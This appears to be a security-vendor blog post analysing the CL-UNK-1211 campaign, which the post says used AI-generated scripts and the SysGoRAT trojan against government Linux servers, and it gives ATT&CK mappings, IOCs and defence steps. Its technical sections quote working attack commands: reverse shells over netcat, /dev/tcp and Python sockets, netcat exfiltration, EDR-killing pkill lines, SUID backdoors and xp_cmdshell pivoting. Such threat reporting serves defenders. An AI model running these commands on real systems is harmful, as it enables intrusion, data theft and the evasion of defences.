# AI Has Become a Weapon: How Hacker Group CL-UNK-1211 Uses ChatGPT to Attack Linux Servers?

## **Campaign Overview**

For more than a decade, security researchers have warned that AI will change the balance in cybersecurity. Now, that warning has come true.

From October 2025 to April 2026, an unidentified group of threat actors - named CL-UNK-1211 by Palo Alto Networks Unit 42 - conducted a sophisticated cyber espionage campaign targeting the Linux infrastructure of government organizations and state-affiliated infrastructure. What makes this campaign especially dangerous is not just the scope or target, but also the method: the attackers used large language models (LLMs) and automated AI agents to generate payloads, deploy malicious scripts, and accelerate the entire attack chain at unprecedented speeds.

| Attribute | Details |
| --- | --- |
| Tracking Name | CL-UNK-1211 |
| Active Period | October 2025 – April 2026 |
| Targets | Government Linux infrastructure and state-affiliated organizations |
| Objectives | Intelligence gathering, credential theft, and access to government-related social media accounts |
| Key Tools & Malware | AI-generated payloads, PHP web shells, and SysGoRAT RAT |
| C2 Server | WebSocket communication via `104.194.158[.]65:443` |
| Classification | Cyber Espionage / APT-level activity |
| Discovery Source | Palo Alto Networks Unit 42 |

## **What Makes CL-UNK-1211 Different?**

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/81993104-5e46-43a7-872c-75a9c8efc99d.png align="center")

### **Fingerprint of AI - Irrefutable Fingerprint**

Unit 42's most important finding is the presence of "conversational, step-by-step reasoning notes" in malicious scripts. This is not ordinary technical documentation, this is how LLMs like GPT or Claude explain code to users.

Confirmed AI-fingerprint signs:

- Section headers in the script so AI can analyze output faster.
- Extensive use of Base64-encoded commands - characteristic of AI output.
- Seamlessly switch between PHP, JavaScript, Bash and Python in the same attack chain.

### **Targeting Linux — Often Overlooked Infrastructure**

While most APT campaigns focus on Windows, CL-UNK-1211 chooses Linux — the operating system that runs most web servers, mail servers and databases of government organizations. This is a strategic choice, not a coincidence.

## **Timeline of Events & Campaign Cycle**

| Date | Key Technical & Intelligence Events | Source |
| --- | --- | --- |
| 10/2025 | First intrusions targeting government Linux servers were observed. The attacker deployed a custom web shell via the php-fpm process and planted a global PHP configuration. | Unit 42 |
| 11/2025 – 01/2026 | The attacker expanded internal reconnaissance, exploited PwnKit (CVE-2021-4034) to escalate to root, and replaced .bashrc files to harvest administrator passwords. They also scanned for the React2Shell vulnerability (CVE-2025-55182). | Unit 42 |
| 02/2026 – 03/2026 | The attacker implanted SysGoRAT malware, which connects to WebSocket C2. They pivoted two hops through MSSQL xp_cmdshell and abused the Qmail mail service to hunt for social media accounts. | Unit 42 |
| 04/2026 | The attacker exfiltrated data in bulk to public cloud storage services ([transfer.sh](http://transfer.sh), [bashupload.com](http://bashupload.com)). They ran a large-scale log-wiping campaign to destroy forensic evidence and tried to kill Cortex XDR processes. | Unit 42 |
| 15/10/2026 | Palo Alto Networks Unit 42 officially published a full technical report exposing the CL-UNK-1211 activity cluster and SysGoRAT malware indicators. | Unit 42 Research |
| 21/10/2026 | SOC Prime released Sigma/AIDR detection rules and attack behavior emulation scenarios (Regression Test) for CL-UNK-1211. | SOC Prime |
| 02/11/2026 | The Hacker News compiled and linked the events, placing CL-UNK-1211 within the broader wave of weaponized AI attack agents (ARTEX, PentAGI, Hexstrike, CyberStrikeAI). | The Hacker News |

## **Attack Chain**

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/6f233174-5912-4fa0-a2cf-0bafb7a11adc.png align="center")

- Initial Access (T1190, T1505.003): Break in through unpatched internet-facing web applications, drop custom and open source PHP web shells, execute behind the scenes in the context of a web server process (`php-fpm`).

* Persistence (T1546.004, T1098.004): Hijacks the `auto_prepend_file` directive on all PHP instances in the `/etc/php/` directory and the Plesk hosting control panel (`/opt/plesk/php/`), pointing to the disguise file `/usr/lib/php/plesk_sys_driver.php`.

  ![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/5007713b-197b-4985-bb5e-eda9fc168001.png align="center")
* Privilege Escalation (T1068, T1548.001): Using `LinPEAS` to check for operating system vulnerabilities, weaponizing binary `PwnKit` (CVE-2021-4034) to gain root rights; Set up a permanent high-privilege backdoor by renaming the Python interpreter to `.libpython-helper` (run `os.setuid(0)`), dropping the SUID shell `.libsystemd-helper`, and assigning the SUID to binary `.tourch` (a copy of /bin/bash).
* Credential Access (T1056.001, T1552.001): Create an alias for the `sudo` command in `.bashrc` to intercept cleartext passwords when admin users manipulate and secretly write to the disguised file `Solarwinds.StatusLog.txt`; Insert the password logging code into the PHP login page.
* Command & Control (T1071.001, T1090.002): Activate SysGoRAT Trojan connecting C2 via secure WebSocket protocol (`wss://104.194.158[.]65:443/ws`); Build a series of reverse shells that run entirely in memory (In-memory Reverse Shells) and set up a GSocket tunnel (`gs-netcat`) disguised as a kernel thread process \[`kcached`\].
* Lateral Movement (T1021.004, T1059.004): Performs a 2-hop execution sequence (Double-Hop) originating from the web shell through the MSSQL server's xp_cmdshell stored procedure to control the second SQL server located in the isolated subnet; move laterally using the sshpass command with exhausted login information.
* Collection (T1114.001, T1005): Scan the /var/qmail/mailnames/ directory, count the number of messages in `Maildir/cur/`, use the `search_social.php` script to filter emails related to social networking platforms to hijack government spokesperson accounts; dump database table structure and data to SQLite and CSV.
* Defense Evasion & Exfiltration (T1562.001, T1070.002, T1048.003, T1567.002): Run the `pgrep/pkill` script to eliminate the monitoring process of the EDR solution (Cortex XDR); apply timestomping technique (`touch -t`); planting flags to deceive the investigation team (`RedTeamOps2025`); compress data and smuggle it out via netcat or push it to public file-sharing platforms (`transfer.sh`, `bashupload.com`, `filebin.net`, `catbox.moe`).

## **Detailed Technical Analysis**

### **Code Generation Trace Using AI**

One of the most special discoveries of Unit 42 in campaign CL-UNK-1211 is the dense presence of code generation traces using the AI/LLM model directly inside PHP and Bash attack scripts:

1. **Conversational & Reasoning Comments:** Completely different from normal programming annotations by programmers or technical annotations by malicious code authors, many code snippets contain comment lines that explain sequentially in a conversational style (conversational annotations). The comment content meticulously explains the logic of each command block to the user who issued the initial prompt (for example: "// Step 1: Check if the configuration path exists, then proceed to inject the payload to ensure persistence"). This proves that the malicious code is copy-pasted verbatim from LLM's chat interface or is automatically coordinated by an agent (autonomous agent) through the model calling API.
2. **Segment structure (Section Headers) machine format:** Shell and payload scripts are organized with very clear and standardized segment headers. This is a typical structure that AI Agents often automatically format so that parsing the results returned from the terminal happens faster and without regex errors.
3. **Base64 encoding and diverse language translation:** Payload translates seamlessly between PHP, Bash, Python, Go and SQL. Attackers abuse Base64 at high density to bypass static signature WAF filters.
4. **"Hallucination" syntax error (LLM Hallucination/Formatting Artifact):** The clearest evidence of AI intervention is the zip_mails.sh script file used by attackers to compress stolen mailboxes. This script contains a silly syntax error: broken variable assignment of the form user=;). This error arises because the code generation language model has problems escaping special characters in markdown code blocks, leading to the script throwing errors right when executed in the real environment.

### **Initializing Ingress & Dropping PHP Shell auto_prepend_file**

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/4653b28b-d0d9-4f2f-8cb3-8039ff6ef0c4.png align="center")

After successfully releasing the initial web shells through the php-fpm process, the attacker faces the risk of the web shell being detected or deleted during administrator file scans. To maintain sustained control, they employ global PHP configuration hijacking:

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/c489042b-c0e9-4232-80a0-f41189971fa7.png align="center")

Instead of just placing a single web shell file in the web root directory, they execute a script that automatically scans and modifies the `auto_prepend_file` directive across all PHP configuration files (`php.ini`, `php-fpm` pool configuration) located in:

- `/etc/php/ (Linux system default PHP configuration)`
- `/opt/plesk/php/ (PHP versions managed by Plesk web hosting control panel)`

The `auto_prepend_file` directive points directly to a malicious file named disguised as a system driver: `/usr/lib/php/plesk_sys_driver.php`.

**Architectural consequence:** Whenever an HTTP request is sent to the server and activates any valid PHP script of the web application, the `/usr/lib/php/plesk_sys_driver.php` file will automatically load and execute first in memory before the website source code runs. This technique turns every website on the system into a backdoor, allowing attackers to send secret payloads via headers or cookies without creating any new web shell files in the public directory.

### **Password Stealing & SolarWinds Camouflage**

To collect authentication information for privilege escalation and lateral movement, the CL-UNK-1211 group combines both passive and active methods:

**Swap the** `.bashrc` **file and create a** `sudo` **command trap**

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/b59e8d69-67cd-4bf0-a30e-9c5b5fab13b4.png align="center")

The attacker modifies the shell environment configuration file `~/.bashrc` of users on the system, inserting a wrapper function for the `sudo command`. When an administrator logs in to the server and types sudo , the rogue function displays a password request message identical to the operating system's standard authentication interface.

After the user enters the password, it will be immediately captured and recorded in a secret log file. The function then forwards this password to the original `sudo` command to execute the task normally, leaving the administrator completely unaware that the session has been spied on.

Notably, the log file containing the password is named Solarwinds.StatusLog.txt. This is an act of borrowing a famous brand name to bypass analysts and file monitoring tools, causing the operator to mistakenly believe that this is a harmless active file of the SolarWinds network monitoring solution (even though the target system does not have this solution installed).

**Implant tracking code in PHP authentication form**

At internal web applications and database login pages (for example, the phpMyAdmin interface or the application's authentication page), the attacker directly injects an interceptor PHP script that captures the `$_POST['username'] and $_POST['password']` variables, storing it in a local log file or forwarding it externally before authenticating the user.

**Scan for cleartext passwords in configuration files**

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/5641a5e1-f20b-4d04-89e6-2fb576dc04e8.png align="center")

The attacker uses shell commands chained through regex to mass-scan system directories:

- Search for keywords `password`, `DB_PASSWORD`, `SMTP_PASS` in `wp-config.php` `files`, `database` configuration and web configuration files.

  Read command line history file contents: `~/.bash_history`, `~/.zsh_history`, `~/.mysql_history`.

### **SysGoRAT Cross-Platform RAT Decoding**

The main malware used by CL-UNK-1211 in this campaign is SysGoRAT, a cross-platform Remote Access Trojan developed specifically in the Go language. Initially, the malicious code appeared under the harmless file name sys-control-client, then was renamed to many familiar service identifiers on Linux to avoid detection via the `ps` command:

- `sys-control-client`
- `pip2.7`
- `ea_install`
- `./semanage`

#### C2 communication mechanism

SysGoRAT maintains a persistent reverse connection via the secure WebSocket protocol: `wss:///ws`. The default C2 address hardcoded in the binary is:

```plaintext
104.194.158[.]65:443
```

The operator can customize this address by passing command line parameters when activating the binary on the victim server. Using WebSocket on port 443 helps the RAT's control flow blend seamlessly with regular HTTPS traffic, easily penetrating perimeter firewalls that only filter packets based on port status.

#### SysGoRAT core command palette

SysGoRAT supports 7 main task groups:

| Command (Action) | Detailed Behavior |
| --- | --- |
| `command` | Executes arbitrary command lines via `/bin/sh -c` (on Linux) or `cmd.exe /C` (on Windows). |
| `control` | Dispatches 4 advanced sub-function groups (see the Sub-actions table below). |
| `list_dir` | Browses and lists the directory tree, files, sizes, and permissions on the target system. |
| `shell_input` | Establishes a bidirectional interactive shell session directly over WebSocket. |
| `proxy_connect` | Opens a TCP connection to any internal IP/port as requested by the C2. |
| `proxy_data` | Routes and forwards data bidirectionally (bidirectional relay) through the established proxy connection. |
| `proxy_close` | Closes the proxy session and releases its resources. |

#### Sub-actions of command branches `control`

When receiving a `control` directive packet, SysGoRAT activates 4 specialized features:

1. `shell_start`: Initializes an interactive `/bin/bash` process.
2. `screenshot`: Take a screenshot of the server display (if there is X11/GUI) and upload to C2.
3. `download`: Read the specified file, compress the data using the `gzip` algorithm to optimize size, then push it to C2.
4. `persist`: Activate the module to automatically install a long-term survival mechanism (Persistence) customized to the environment.

#### Persistence Mechanisms

SysGoRAT's persist module has 6 extremely sophisticated automatic installation methods:

| Method | Operating System | Implementation Mechanism |
| --- | --- | --- |
| `systemd` | Linux | Copies its own binary to `/usr/local/bin/`, creates the service file `/etc/systemd/system/sys-update.service`, runs `systemctl daemon-reload`, and enables the service to start automatically at boot. |
| `cron` | Linux | Appends a hidden job entry to the crontab, scheduled to execute every 5 minutes. |
| `registry` | Windows | Copies the binary to `%APPDATA%\Onedrive Update\Updater.exe` and writes a Run key under `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`. |
| `schtasks` | Windows | Creates a daily scheduled task disguised under the name `Onedrive`. |
| `complex` | Linux / Windows | Automatically detects the operating system and selects the most suitable method without checking the current user's privileges. |
| `auto` | Linux / Windows | Checks the privilege level of the running user (root/SYSTEM or standard user) and detects the OS to select the most appropriate persistence method. |

### **In-Memory Reverse Shells & GSocket Tunnel Mechanism**

In addition to SysGoRAT, the attack group deployed a network of backchannels running entirely in memory through at least 7 independent C2 servers, eliminating the need to write binary files to the hard drive:

**Named Pipe Reverse Shell via Netcat**

The main method is implemented on three different C2 servers, taking advantage of the FIFO queue facility to redirect the bash I/O stream over a network port: `rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | bash -i 2>&1 | nc <C2_IP> <C2_PORT> >/tmp/f`

**Bash TCP Redirect**

Exploit Bash's built-in /dev/tcp socket feature to connect directly to an external IP without any additional network tools: `bash -i >& /dev/tcp/<C2_IP>/<C2_PORT> 0>&1`

**Python Subprocess Reverse Shell**

Use a one-liner via Python to create the socket, clone the standard stream descriptor via os.dup2() and call /bin/bash: `python3 -c "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('<C2_IP>',<C2_PORT>)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/bash','-i'])"`

### **GSocket tunnel disguises kernel thread** `[kcached]`

The attacker abuses the GSocket framework (an open source tool used to bypass NAT and firewalls) to establish an underground control channel:

- Binary `gs-netcat` is located in the shared memory directory `/dev/shm/.gs-10085/`.
- When enabled, the process is renamed to `[kcached]`, perfectly emulating a kernel worker thread of a Linux system.
- Binary `gs-dbus` support is also enabled to disguise the D-Bus service.
- The attacker hides parameter flags by passing them directly through the `GSOCKET_ARGS` environment variable to avoid detection by `ps aux` progress checks or the auditd tool.
- Every opened shell session has the `HISTFILE=/dev/null` directive attached to prevent command logging to the .`bash_history` file.

### **Privilege Escalation & Double-Hop Pivoting Techniques Via MSSQL**

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/3a31557d-b761-449a-9030-1db265a7dc75.png align="center")

After gaining an initial foothold as a web user (`www-data` or application user), CL-UNK-1211 performs escalations and lateral moves with great precision:

#### Root escalation using LinPEAS & PwnKit

- Download and execute the open source `LinPEAS` script to comprehensively scan for local escalation vectors.
- Exploits a memory overflow vulnerability in the Linux Polkit component identified as CVE-2021-4034 (PwnKit) via an independently compiled binary to immediately elevate root privileges.
- Secure root rights permanently by:
  - Rename the official Python 3 interpreter to `/usr/lib/x86_64-linux-gnu/.libpython-helper`. The attacker calls this binary with the flag `-c "import os; os.setuid(0); os.setgid(0); os.system('')"` to run root commands at any time.
  - Create a SUID backdoor named `.libsystemd-helper` that automatically sets the UID/GID to 0 before calling the shell.
  - Make a copy of `/bin/bash` into a `.tourch` file and assign the flag chmod u+s `.tourch`.

**Double-Hop Pivoting technique via SQL**

To bypass the internal firewall separating the public web server partition (DMZ) and the partitions containing the core database, the attack group applies a 2-way bridging strategy:

1. From the web shell, the attacker connects to an internal Microsoft SQL Server server accessible from the DMZ, then activates the xp_cmdshell procedure:\
   \
   `EXEC sp_configure 'show advanced options', 1; RECONFIGURE;`

   `EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;`
2. From the first MSSQL server, the attacker continues to call the sqlcmd command line tool to connect to a second SQL Server database server located deep inside another internal subnet completely isolated from the internet. Syntax for executing a 2-hop sequence:\
   \
   `EXEC xp_cmdshell 'sqlcmd -S [SERVER_IP_2] -U [USERNAME] -P "[PASSWORD]" -Q "EXEC xp_cmdshell ''whoami''" -t 10 2>&1'`

This technique allows an attacker to control and execute operating system-level commands on a target server deep within the internal network without opening a direct network connection to that server.

**Move laterally using** `sshpass`

With the administrative credentials collected from reviewing the configuration file, they automate SSH connections with the `sshpass` command, with parameters to disable host key warnings (`StrictHostKeyChecking=no`) and reduce timeouts (`ConnectTimeout=5`): `sshpass -p "[PASSWORD]" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 [USERNAME]@[TARGET_IP] "[COMMAND] 2>&1"`

Immediately after entering the target server, they immediately set up password-less access by injecting the SSH Public Key into the `~/.ssh/authorized_keys` file and tightening `chmod 700` permissions for the `.ssh` directory.

### Qmail Mailbox Targeting & Stratified Data Collection Tactics

CL-UNK-1211's espionage goals go beyond server control and focus strongly on sensitive intelligence data and political accounts:

#### Target Qmail mail server

The attacker locates servers running the Qmail email service, directly accessing the `/var/qmail/mailnames//` directory storage structure. They go through each user's `Maildir/cur/` folders to count the number of emails and identify the mailboxes with the highest frequency of activity.

Next, we deploy a specialized PHP script called `search_social.php`. This script extracts the headers of a series of emails to hunt for keywords related to social network accounts (such as Twitter/X, Facebook, Telegram, Google). The core purpose is to search for password reset links or account recovery emails, thereby serving the intention of appropriating official social network accounts of government agencies for information warfare or deeper intelligence reconnaissance.

**Staged Database Extraction Strategy**

The process of stealing the database is carried out methodically in 3 stages:

1. Explore and extract small samples: Use the SQL command with TOP 100 clause to sample the first 100 rows from 4 key tables, write to a local SQLite database at /tmp/dump.sqlite.
2. Full Dump: After confirming sensitive data structures, we export all data to local CSV files and compress them into an archive: tar -czf /tmp/\[DB_NAME\]\_dump.tar.gz -C /tmp \[DB_NAME\]
3. Data Exfiltration:
   - Push directly via network port using Netcat: `nc [IP] [PORT] < /tmp/[DB_NAME]_dump.tar.gz`

     Or disguise it as HTTPS browsing traffic via a curl command that uploads files to temporary public data storage services:
     - `transfer[.]sh`
     - `bashupload[.]com`
     - `filebin[.]net`
     - Upload the WordPress configuration file (`wp-config.php`) containing database account information to the catbox\[.\]moe API.

### Anti-Digital Forensics & Fraud Deception Red Team (Anti-Forensics)

Attackers spend significant resources on activities that erase traces and distract incident investigation experts:

#### Disable Endpoint Protection (EDR) solution

The attacker executes shell scripts that use built-in Linux utilities such as pgrep and pkill to search for and signal termination of Cortex XDR security monitoring solution processes running in the background on the server. However, according to actual records from the security firm, the agent's self-protection mechanism (Anti-Tampering) successfully prevented this behavior and triggered an emergency warning to the monitoring center.

`pgrep cortex | xargs -r kill -9`

`pkill -f "cortex" || pkill -f "traps"`

#### Delete the executable immediately after running (Self-Deleting Commands)

For one-time scripts, the attacker packages the entire file writing, execution, and file deletion process into a single command line:

`echo '<BASE64_PAYLOAD>' | base64 -d > /tmp/.temp.php && php /tmp/.temp.php && rm -f /tmp/.temp.php`

#### Modifying timestamps (Timestomping)

For web shells and tools that need to be kept on the system for a long time, attackers use the touch -t command to set file access and modification dates back many years before the attack takes place. This technique is intended to deceive the Incident Response team's newly created file search queries.

#### **Cấy dấu vết giả mạo Red Team (Planted Deception)**

To create confusion during the incident response process, the attacker intentionally left identifying strings such as `RedTeamOps2025` in the script source code and set the password `pentest123` for newly created user accounts. This technique is intended to cause preliminary investigators to misjudge this as just a penetration testing activity (Penetration Testing) or a licensed internal exercise, thereby delaying the system isolation process.

#### Clean up large-scale logs and self-test with scripts

After completing the data theft, they activate a script that automatically erases all traces:

- Clean shell history: `history -c`, point `HISTFILE=/dev/null`, delete `.bash_history`.
- Delete or empty the system log files: `/var/log/auth.log`, `/var/log/secure`, `/var/log/messages`, /var/log/syslog.
- Delete web server logs: Apache (`/var/log/apache2/`, `/var/log/httpd/`), Nginx (`/var/log/nginx/`).
- Delete PHP sessions: `/var/lib/php/sessions/`.
- Run the test script ([verify.sh](http://verify.sh)) using the grep command to rescan the entire `/var/log/` directory, ensuring the attacker's IP addresses no longer appear in any log lines.

## **MITRE ATT&CK Framework Mapping**

| Tactic | Technique ID | Technique Name | Observed Behavior in the Campaign |
| --- | --- | --- | --- |
| Initial Access | T1190 | Exploit Public-Facing Application | Exploited a vulnerability in a web application on a Linux server to gain initial access. |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Executed Bash scripts, Python one-liners, and Linux shell commands. |
| Execution | T1059.006 | Command and Scripting Interpreter: Python | Used Python to open reverse shell sockets and escalate privileges to UID 0. |
| Persistence | T1505.003 | Server Software Component: Web Shell | Dropped a PHP web shell via the php-fpm process. |
| Persistence | T1546.004 | Event Triggered Execution: .bashrc Terminal | Replaced .bashrc with a wrapper to steal sudo passwords. |
| Persistence | T1543.002 | Create or Modify System Process: systemd Service | SysGoRAT created the sys-update.service service for auto-start. |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | Created a cron job that runs every 5 minutes. |
| Persistence | T1098.004 | Account Manipulation: SSH Authorized Keys | Injected an SSH public key into ~/.ssh/authorized_keys. |
| Privilege Escalation | T1068 | Exploitation for Privilege Escalation | Exploited the Polkit vulnerability CVE-2021-4034 (PwnKit) to obtain root privileges. |
| Privilege Escalation | T1548.001 | Abuse Elevation Control Mechanism: Setuid and Setgid | Created SUID backdoors .libsystemd-helper and .tourch (chmod u+s). |
| Defense Evasion | T1562.001 | Impair Defenses: Disable or Modify Tools | Used pgrep/pkill to locate and attempt to kill Cortex XDR agent processes. |
| Defense Evasion | T1070.002 | Indicator Removal on Host: Clear Linux Logs | Wiped authentication, kernel, mail, and web server log files. |
| Defense Evasion | T1070.003 | Indicator Removal on Host: Clear Command History | Set HISTFILE=/dev/null and ran history -c. |
| Defense Evasion | T1070.006 | Indicator Removal on Host: Timestomp | Used touch -t to modify the timestamps of the web shell and backdoors. |
| Defense Evasion | T1036.004 | Masquerading: Masquerade Task or Service | Renamed the GSocket process to \[kcached\] to masquerade as a kernel thread. |
| Credential Access | T1056.001 | Input Capture: Keylogging / Credential Prompt | Captured sudo passwords and injected login-harvesting code into PHP pages. |
| Credential Access | T1552.001 | Unsecured Credentials: Credentials in Files | Searched plaintext configuration files for database and email passwords. |
| Discovery | T1087.001 | Account Discovery: Local Accounts | Read /etc/passwd and /etc/shadow. |
| Discovery | T1083 | File and Directory Discovery | Scanned mailboxes in /var/qmail/mailnames/ and wp-config.php files. |
| Lateral Movement | T1021.004 | Remote Services: SSH | Used sshpass to automate SSH logins to internal servers. |
| Lateral Movement | T1090.001 | Proxy: Internal Proxy | Used MSSQL xp_cmdshell as a double-hop pivot into internal subnets. |
| Lateral Movement | T1090.002 | Proxy: External Proxy | Deployed revsocks, pysoxy, and the GSocket framework. |
| Collection | T1114.001 | Email Collection: Local Email Collection | Extracted social-media-related email content via Qmail. |
| Collection | T1560.001 | Archive Collected Data: Archive via Utility | Compressed emails and database dumps into .tar.gz or .zip files. |
| Command & Control | T1071.001 | Application Layer Protocol: Web Protocols | Communicated with C2 over secure WebSocket (WSS, port 443). |
| Exfiltration | T1048.003 | Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Network | Sent archive files directly over Netcat sockets. |
| Exfiltration | T1567.002 | Exfiltration Over Web Service: Exfiltration to Cloud Storage | Uploaded data to public file-hosting services ([transfer.sh](http://transfer.sh), etc.). |

## **IOCs**

### **File Hashes (SHA-256)**

- 2bf7992e6260c1a98c709fa98ec766fb9f27692f338b30b43ac821b824fd849e
- 27d799ceadb570bfca890d4c2572314afe57eecf14083d30409da15afdfc4704
- d73186cea6cf2cf3d48c09139a9d15521365aab675787b4e7a6f81767331c9fd
- 9e45830171eb607cf2c0fc80f5cc9cc3db39bb937032136990383a595f6f151e
- c527b94e3d21824a674face4cd9d862e536b60ccbf54573839e3360f99188343
- d94f75a70b5cabaf786ac57177ed841732e62bdcc9a29e06e5b41d9be567bcfa
- 44e83f84a5d5219e2f7c3cf1e4f02489cae81361227f46946abe4b8d8245b879
- 1505a3a727f8899b2ad343519f7bf9c438b8b802f8d6b854f5db3b52f857c76a
- 76c58fad4f70cf277a15a499b9a2151ac60e7a6b5c7a9ab684843dcc19f0d0a5
- b1e82c6b0caea177e8bb71ad826867f509c65f0a43a651b50253e7c726566eac

### **IP Addresses (C2 Servers)**

- 45.88.188\[.\]140
- 104.194.158\[.\]65
- 109.224.53\[.\]140
- 198.23.185\[.\]234
- 162.243.175\[.\]162
- 154.93.37\[.\]228
- 138.68.244\[.\]146
- 141.164.58\[.\]87
- 88.80.150\[.\]232
- 185.21.136\[.\]6
- 88.119.167\[.\]57
- 173.212.247\[.\]23
- 72.61.89\[.\]179
- 104.248.131\[.\]53
- 147.182.224\[.\]216
- 93.93.112\[.\]57
- 192.210.183\[.\]17

### **Domains**

- magento\[.\]ink
- solidmonpe\[.\]com
- wibu-bau-bawang\[.\]online
- beraskencur\[.\]site

## **Expert Comments FPT IS SOC**

Through analyzing the CL-UNK-1211 campaign, the FPT IS SOC team drew 3 core real-life observations:

- AI Paradox: Mechanical speed but obvious traces (Velocity vs. Noise): Attackers use LLM to automatically generate code to speed up the intrusion process and reduce malware development manpower. However, AI leaves very rough "fingerprints": forgotten conversational comments and silly syntax errors (like user=;)) that crash the script. AI helps speed up campaigns, but at the same time creates a large amount of noise that helps EDR systems identify abnormalities faster.
- Weaponization turning point: From generating support code to autonomous agents (Autonomous Offensive Agents): CL-UNK-1211 marks the transition from using AI alone for support (writing phishing emails, finding bugs) to embedding AI as the center for coordinating automated attacks (similar to ARTEX, PentAGI, CyberStrikeAI frameworks). The attacker assigns the AI ​​to analyze the results returned from the web shell, choose the next command, and flexibly switch between PHP, Bash, Python, Go, and SQL without manual intervention.
- Three critical weaknesses of Linux servers in Vietnam: Linux is a key infrastructure of the Vietnamese government and businesses, but there are 3 common defense vulnerabilities:
  - Abusing the hosting control panel (Plesk/cPanel): Allows attackers with just one web shell to implant a global backdoor via auto_prepend_file, controlling a series of websites on the same server.
  - Delay in patching basic vulnerabilities: Polkit PwnKit bug (CVE-2021-4034) has had a patch since 2022 but is still successfully exploited to gain root privileges.
  - Monitoring blind spots on Linux: Many units only use soft firewalls and lack EDR to monitor behavior, making techniques such as in-memory reverse shell or GSocket disguising kernel streams \[kcached\] easily bypass the operations team.

## **Comprehensive Defense Recommendations**

### **Emergency Phase (Immediate: 0 - 24 Hours)**

**Check global PHP configuration:**

Run the command to check for the presence of the `auto_prepend_file` directive on the entire server: `grep -rn "auto_prepend_file" /etc/php/ /opt/plesk/php/ /etc/httpd/ /etc/nginx/ 2>/dev/null`

If you detect a path pointing to a strange file (like `/usr/lib/php/plesk_sys_driver.php`), immediately isolate the server for investigation.

**Scan the** `.bashrc` **environment initialization file:**

Look for wrapper functions or aliases that impersonate the `sudo` command:

`grep -rn "Solarwinds.StatusLog.txt" /home/ /root/ /etc/skel/ 2>/dev/null`

`grep -rn "read -s" /home/*/.bashrc /root/.bashrc 2>/dev/null`

Block emergency C2 network connections:

Set up a rule on Firewall/UTM to prevent all incoming/outgoing connections to IP C2 SysGoRAT: `104.194.158[.]65`, list of 17 IPs in the IOCs table and domain names `magento[.]ink, solidmonpe[.]com, wibu-bau-bawang[.]online, beraskencur[.]site`.

Check for unusual processes running from shared memory:

Examine the `/dev/shm` directory and check to see if any user processes are impersonating the kernel thread:

`ls -la /dev/shm/`

`ps aux | grep -E "[kcached]|sys-control-client|pip2.7|ea_install"`

### **Short-term: 1 - 7 Days**

**Vulnerability management and emergency patching:**

Update the `policykit-1 (Polkit)` package to completely patch the PwnKit vulnerability (CVE-2021-4034); Scans and updates web components affected by the React2Shell vulnerability (CVE-2025-55182).

![](https://cdn.hashnode.com/uploads/covers/6777abffdb647396c7d71de4/ebbea3bf-78d5-4ba4-ab88-7a4d0f2d411b.png align="center")

**Audit files with SUID/SGID flags:**

List all binaries with SUID permissions on the system to detect backdoors such as `.tourch` or `.libsystemd-helper`:

`find / -perm -4000 -type f -exec ls -la {} ; 2>/dev/null`

Tighten Egress Filtering policy:

Service servers (especially Database Server and Web Server) are absolutely not allowed to connect directly to the internet freely. Block all outbound traffic, only allowing necessary IP ranges through authenticated proxies. Blocks ports commonly used for reverse shells and non-standard network communications.

**Check the integrity of the SSH key file:**

Review the `~/.ssh/authorized_keys` file of all local accounts, immediately revoking public keys of unknown origin.

### **Long-term: Architecture & Process**

**Deploy EDR synchronously on 100% Linux servers:**

Equipped with new generation EDR solutions capable of analyzing process behavior (Process Behavior Analytics), detecting shell history deletion behavior (`HISTFILE=/dev/null`), detecting loading of malicious PHP modules and having an anti-tampering mechanism (Anti-Tampering) to protect agent processes against the `pkill` command.

**Enhanced execution control with SELinux/AppArmor:**

Enable Enforcing mode for SELinux or configure AppArmor for web services (`php-fpm`, Apache, Nginx) to prevent web processes from executing dangerous binary commands (`/bin/sh`, `/bin/bash`, `nc`, `python`, `mkfifo`).

**Zero Trust Network Partition & Disable Redundancy:**

- Completely isolate database servers and internal servers from the DMZ network area; Strictly control connection flows between partitions.
- Disable the xp_cmdshell procedure on all MSSQL server clusters if there is no real business need:

`EXEC sp_configure 'show advanced options', 1; RECONFIGURE;`

`EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;`

**Monitor encrypted traffic and detect DNS/Proxy anomalies:**

Deploy NDR (Network Detection and Response) solution to monitor unusually long WebSocket connections and detect large data transfers to public file sharing services.

## **References**

[Government Linux Servers Targeted With SysGoRAT and Suspected AI-Generated Scripts](https://thehackernews.com/2026/11/government-linux-servers-targeted-with.html)

[AI-Powered Espionage Campaign Targets Government Linux Infrastructure](https://unit42.paloaltonetworks.com/ai-campaign-targets-linux-infrastructure/)

[CL-UNK-1211 Uses AI Payloads to Target Governments](https://socprime.com/active-threats/ai-generated-payloads-power-cl-unk-1211-attacks-on-government-organizations/)
